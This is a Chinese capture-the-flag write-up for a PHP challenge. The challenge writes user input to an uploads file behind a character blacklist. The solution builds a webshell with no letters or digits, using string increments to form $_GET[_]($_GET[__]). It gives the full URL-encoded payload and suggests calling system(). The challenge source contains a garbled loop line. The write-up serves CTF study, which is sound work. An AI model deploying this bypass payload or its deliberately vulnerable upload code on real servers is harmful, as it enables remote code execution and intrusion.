0x01 题目
<?php
ini_set("display_errors", "On");
error_reporting(E_ALL | E_STRICT);
if(!isset($_GET['c'])){
show_source(__FILE__);
die();
}
function rand_string( $length ) {
$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
$size = strlen( $chars );
$str = '';
for( $i = 0; $i < $length; $id+ ) {
$str .= $chars[ rand( 0, $size - 1 ) ];
}
return $str;
}
$data = $_GET['c'];
$black_list = array(' ', '!', '"', '#', '%', '&', '*', ',', '-', '/', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', ':', '<', '>', '?', '@', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '\\', '^', '`', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '|', '~');
foreach ($black_list as $b) {
if (stripos($data, $b) !== false){
die("WAF!");
}
}
$filename=rand_string(0x20).'.php';
$folder='uploads/';
$full_filename = $folder.$filename;
if(file_put_contents($full_filename, '<?php '.$data)){
echo "<a href='".$full_filename."'>WebShell</a></br>";
echo "Enjoy your webshell~";
}else{
echo "Some thing wrong...";
}
0x02 解题
通读代码，发现这题是一个可以在文件后缀名写入shell的题，但是需要绕过黑名单。看一下黑名单发现数字、字符、还有一些常见的字符都被过滤掉了，所以需要写一个没有字母、数字的webshell。
<?php
$_=[].[];//ArrayArray
$_=$_[''];//A, initial
$__='';//store the result
$__.='_';//_
$___=$_;//first letter
$___++;$___++;$___++;$___++;$___++;$___++;//G
$__.=$___;//_G
$____=$_;//second letter
$____++;$____++;$____++;$____++;//E
$__.=$____;//_GE
$_____=$_;//third letter
$_____++;$_____++;$_____++;$_____++;$_____++;$_____++;$_____++;$_____++;$_____++;$_____++;$_____++;$_____++;$_____++;$_____++;$_____++;$_____++;$_____++;$_____++;$_____++;//T
$__.=$_____;//_GET
${$__}[_](${$__}[__]);//$_GET[_]($_GET[__])
由于加号在地址栏里会被解析成空格，因此需要进行一次url编码，得到payload
?c=%24_%3D%5B%5D.%5B%5D%3B%24_%3D%24_%5B%27%27%5D%3B%24__%3D%27%27%3B%24__.%3D%27_%27%3B%24___%3D%24_%3B%24___%2b%2b%3B%24___%2b%2b%3B%24___%2b%2b%3B%24___%2b%2b%3B%24___%2b%2b%3B%24___%2b%2b%3B%24__.%3D%24___%3B%24____%3D%24_%3B%24____%2b%2b%3B%24____%2b%2b%3B%24____%2b%2b%3B%24____%2b%2b%3B%24__.%3D%24____%3B%24_____%3D%24_%3B%24_____%2b%2b%3B%24_____%2b%2b%3B%24_____%2b%2b%3B%24_____%2b%2b%3B%24_____%2b%2b%3B%24_____%2b%2b%3B%24_____%2b%2b%3B%24_____%2b%2b%3B%24_____%2b%2b%3B%24_____%2b%2b%3B%24_____%2b%2b%3B%24_____%2b%2b%3B%24_____%2b%2b%3B%24_____%2b%2b%3B%24_____%2b%2b%3B%24_____%2b%2b%3B%24_____%2b%2b%3B%24_____%2b%2b%3B%24_____%2b%2b%3B%24__.%3D%24_____%3B%24%7B%24__%7D%5B_%5D%28%24%7B%24__%7D%5B__%5D%29%3B
成功~~~
可以用system函数试一试~
